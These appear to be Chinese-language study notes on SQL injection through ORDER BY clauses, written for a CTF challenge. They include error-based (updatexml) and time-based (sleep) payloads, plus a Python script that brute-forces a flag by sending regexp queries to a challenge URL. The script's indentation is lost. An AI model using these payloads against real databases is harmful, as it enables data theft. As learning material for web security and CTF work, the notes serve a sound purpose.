order by 注入
位运算符:
- and &&
- or ||
- 2|3
- 2是10 3是11 10 | 11是 11
- 所以2|3是 11
- select * from users order by updatexml(1,concat(0x7e,database(),0x7e),1);
- select * from users order by if(0,name,sleep(2));
order by 注入
位运算符:
order by 的注入:
order by 语句
使用order by 子句对查询返回的结果按一列或多列排序。
order by 子句的语法格式为:
order by {column_name [ASC|DESC]}[, n]
order by 语句默认按照升序对记录进行排序
select * from data1 order by id asc,name,year
在不知道列名的情况下可以用通过列的序号来指代相应的列。但是经过测试这里无法做出运算,如order=3-1和order=2是不一样的。
**当order by 注入能过放回错误信息时,也可以考虑使用呢报错注入
**根据不同的列排序,会返回不同的结果,因此这里其实可以使用雷士于bool型盲注的形式来注入,及时判断的结果与某种返回内容相关联,来实现注入,同理,在bool型注入可以的情况下,一般也能使用基于时间的盲注
select * from data1 order by if(1,name,year)
order by 可以根据多列排序,因此注入的语句不一定限制于order by的第一个参数,也可以通过逗号去对新的列进行注入
chall.tasteless.eu/level1/index.php?dir=ASC
1.py:
import requests
dic="qwertyuiop[]asdfghjjkl;QWERTYUYIOPASDFFGHJKLZXCVVBNMl'\zxcvbnm,./!@#$%^&*((()_+0123456789"
flag="^"
common_url="https://chall.tasteless.eu/level1/index.php?dir=|1"
common_content=requests.get(common_url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content
for i in range(50):
for letter in dic:
payload=flag+letter
url="chall.tasteless.eu/level1/index.php?dir=|(select(flag from level1_flag) regexp"+"'"+payload+"'""+")%2b1"
print(url)
content=requests.get(url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content
if(content!=common_content):
flag=payload
print(flag)
break